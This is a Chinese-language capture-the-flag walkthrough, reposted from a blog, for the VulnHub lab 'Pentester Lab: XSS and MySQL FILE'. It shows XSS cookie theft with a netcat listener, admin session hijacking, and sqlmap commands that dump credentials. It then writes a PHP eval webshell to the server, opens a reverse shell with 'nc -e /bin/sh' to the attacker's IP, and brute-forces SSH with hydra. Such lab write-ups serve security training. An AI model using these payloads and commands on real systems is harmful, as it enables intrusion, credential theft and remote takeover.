0


靶机12 PENTESTER LAB: XSS AND MYSQL FILE

简介:本练习说明如何使用跨站点脚本漏洞来访问管理员的 Cookie。然后,如何使用他/她的会话来访问管理以查找SQL注入并使用它获得代码执行。

你会学到什么?

  • 跨站点脚本攻击
  • 具有文件权限的 MySQL 注入

1、下载靶场

靶机名称:PENTESTER LAB: XSS AND MYSQL FILE

下载地址:

Pentester Lab: XSS and MySQL FILE ~ VulnHub

2、安装靶场

导入成功,开启此虚拟机( 当页面出现 user@debian 时表示安装成功,可以通过 "ifconfig"、"ip add" 查询靶机IP地址)

3、获取靶机的root权限

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、靶机和kali在同一网段 | 已知靶机所在的网段

—— xss_and_mysql_file_i386 IP地址:192.168.108.144/24

信息收集

获取 xss_and_mysql_file_i386 的IP地址

命令:netdiscover -r 192.168.108.0/24

由图可知 xss_and_mysql_file_i386 的IP地址是:192.168.108.144/24

端口扫描

命令:nmap -A -sS -T4 192.168.108.144

//-sV:探测打开的端口以确定服务/版本信息,-p-:全端口扫描,-O:启用操作系统检测

//-sS/sT/sA/sW/sM:TCP SYN/Connect()/ACK/Window/Maimon 扫描

//-T[0-5]:设置时间模板(越高越快),-A:启用操作系统检测和版本检测

获取信息如下(操作系统:Linux 3.2-4.9):

端口号

服务

版本

22

ssh

OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)

80

http

Apache httpd 2.2.16 ((Debian))

操作系统:Linux 2.6.32

3.2 渗透测试

首先修改一下hosts文件,进行目录扫描

目录扫描

dirb http://XandS

dirsearch -u "http://XandS"

目前已知五个网页(其余四个如下):

1、后台管理登录页面

http://xands/admin/login.php

2、http://xands/classes/

3、http://xands/css/

4、http://xands/images/

之后又在首页发现了两个留言板(URL里的id分别是1和2)

http://192.168.108.144/post.php?id=1

http://192.168.108.144/post.php?id=2

两个留言板大致相同,看id=2的留言板的提示(Is it working?),猜测注入点在第二块留言板(一般可能为xss)

XSS

  • 通常可以使用 <script>alert(1)</script> 来检测页面中是否包含 XSS 漏洞,但容易 WAF 或其他安全防御机制过滤,使用 '">< 可以在一定程度上避免这个问题
  • 根据提交返回的结果可以判断是否存在漏洞,当特殊符号被编码时将会增加 XSS 攻击的难度,甚至可能就不存在 XSS 漏洞

**提交 **

**返回结果 **

可利用性

**1337'">< **

**1337'">< **

没有任何编码,可以使用** <script> **标签进行 XSS 攻击

**1337'">< **

**1337'">< **

**>< **被编码

**1337'">< **

**1337'">< **

">< 被编码

**1337'">< **

**1337'">< **

'">< 都被编码

测试1337'"><,留言板显示正常,表示没有任何编码,尝试注入使用 **<script> **标签进行 XSS 攻击

直接提交 <script>alert(1)</script> ,成功弹窗

利用 XSS 获取 cookie ,这里的 IP 是攻击者 Kali 主机的 IP ,当用户访问页面时,评论中的脚本会被执行

<script>document.write('');</script>

nc -lvvp 9999 #在kali上对9999端口进行监听

第一次由于是在物理机(192.168.108.1)上提交的,提交完成之后访问了该页面,所以收到了物理机的cookie,重新监听一段时间之后就获取到管理员的cookie(192.168.108.144):PHPSESSID=jlnsbn142om8efmgomdoc7qpa7

使用管理员的cookie登录厚爱管理页面

可以直接使用 firefox 的 Cookie Editor 插件对cookie值进行修改(在主页进行就行,由于cookie有时间限制,之歌是重新监听到的cookie值)

在后台管理页面中可以看到管理帖子和新建帖子的功能

管理帖子:编辑、删除

新建帖子:标题、内容

使用sqlmap

在管理页面可以编辑已有的文章,从路径来看是根据 id 参数返回不同的文章,尝试 SQL 注入,返回错误信息

使用sqlmap注入

命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0"

命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --is-db

解释:判断是否是超户

命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --current-user

解释:获取当前用户名

命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --dbs

解释:获取数据库名

命令:sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --current-db

解释:获取当前数据库名

--is-db

--current-user

--dbs

--current-db

--tables -D "blog"

--columns -T "users" -D "blog"

获取到 admin 用户的账号密码(admin、P4ssw0rd)

sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --dump -T "users" -D "blog"

getshell

由于前面使用 --is-db 判断出当前注入点的用户权限是超户权限,使用文件写入(**--file-write、** **--file-dest **)

使用方式:

  • 在kali写一个一句话木马文件(位置:/root/Desktop/webshell.php) - <?php eval($_POST['webshell']);?>
  • sqlmap: - sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --file-write="/root/Desktop/webshell.php" --file-dest="/var/www/classes/hack.php"
  • 解释:--file-write 为kali的保存文件 --file-dest 为你想写入的靶机文件路径

结果(文件好像没有写进去,猜测可能是权限的问题):

换路劲尝试,最后在css路径下写入成功

sqlmap -u "http://192.168.108.144/admin/edit.php?id=1*" --cookie "PHPSESSID=l933cf8pdvcfc40cnq9dpifsl0" --file-write="/root/Desktop/webshell.php" --file-dest="/var/www/css/hack.php"

1、测试连接一句话木马成功

2、反弹shell(nc -e /bin/sh 192.168.108.129 6868)

查看敏感文件,发现在 /etc/passwd 文件中居然有一个用户(user)和root是同一个bash

使用九头蛇爆破用户 user 的密码(user、live)

命令:hydra -l user -P /usr/share/wordlists/dirb/common.txt ssh://192.168.108.144

这里不知道什么原因导致kali上不能ssh连接到靶机,使用xshell正常连接(user、live)

标签: xss mysql 网络

本文转载自: https://blog.csdn.net/honest_run/article/details/127230419
版权归原作者 honest_run 所有, 如有侵权,请联系我们删除。

“靶机12 PENTESTER LAB: XSS AND MYSQL FILE”的评论:

还没有评论